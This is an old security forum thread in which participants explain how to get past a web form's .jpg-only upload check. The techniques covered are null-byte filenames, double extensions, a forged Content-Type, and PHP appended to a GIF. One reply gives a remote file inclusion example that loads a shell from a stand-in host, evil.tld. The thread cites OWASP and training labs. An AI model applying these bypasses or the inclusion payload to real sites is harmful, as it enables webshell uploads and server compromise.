December 20, 2011 at 8:44 pm #7173T_BoneParticipant
Ok, so I am trying to bypass the validation on a file upload form. It is only supposed to accept .jpg (and may effectively work). The images get uploaded to the webroot so would be great to bypass it. I have tried changing the MIME type, saving a script as .jpg, I believe you can add the .jpg header to a file which may work, any other suggestions?
December 20, 2011 at 9:11 pm #44817alanParticipant
Try adding a null character – test.php%00.jpg
Also check OWASP site https://www.owasp.org/index.php/Unrestricted_File_Upload for plenty more options I wouldn’t have immediately thought of, like using alternate data streams. 🙂
December 21, 2011 at 7:16 am #44818SeenParticipant
I came across a lab on eLearnSecurity where you could bypass the restriction by just making sure “.jpg” was in the filename. I though that was a pretty cool bypass.
So you could try naming the file something like “file.jpg.php” for example.
December 23, 2011 at 9:35 pm #44819AnonymousParticipant
seen was going to recommended the same.
December 27, 2011 at 4:58 pm #44820MaXeParticipant
The null-byte trick will only work if nullbytes are not filtered from the input. The reason why a nullbyte is used, is because an include or require function is often made somewhat like this:
$config = $_GET. “.conf”; require_once($config);
In this case, the ?config parameter / argument is most likely vulnerable unless there’s a “catch-all” GET-request function sanitizing them all.
As you want to include a php file, which the target server should be able to read and parse, you should add a %00 byte which there are some variations of.
If the parameter is like this: ?config=http://evil.tld/shell.txt
The actual $config variable will become: http://evil.tld/shell.txt.conf, but by adding a %00 byte (?config=http://evil.tld/shell.txt%00) the webserver will stop reading the input after the null-byte and the $config variable will automatically be http://evil.tld/shell.txt as the rest is stripped away this one time.
In case of file upload forms, files named like: file.jpg.php is often enough. At least it was, but nowadays it is only the most poorly secured sites that enable this attack, meaning you may have to add an actual file header in case the file is processed and needs to actually be an image.
In this case, you can take any gif file, and append your PHP data to it and then upload it. The image should still be valid even if it’s processed. If it’s resized however, the php data may be lost.
It could theoretically also be possible to name the file file.php%00.jpg, however it may not work depending on how the file is read, but also how your client sends the data. (The client may sanitize the % sign as well.)
Even though I haven’t said much than what Seen and alan said, I thought I’d say it anyway in my own words 🙂
January 29, 2012 at 7:48 am #44821nytfoxParticipant
I agree with what Maxxe said . but include to that . all you have to do is misdirect the vailidations on the upload scrtipt . like “Content-Type” when your uploading a image you might be having a application as type . change it to image/jpeg . like wise their are lota ways you can upload a execution file as a image .
still some scripts cruch the image and make thumbs and change resolutions . if the image is getting cruch like that . you might have a issue upload the image . but still their few php function issues, I have put a ref link bellow
- You must be logged in to reply to this topic.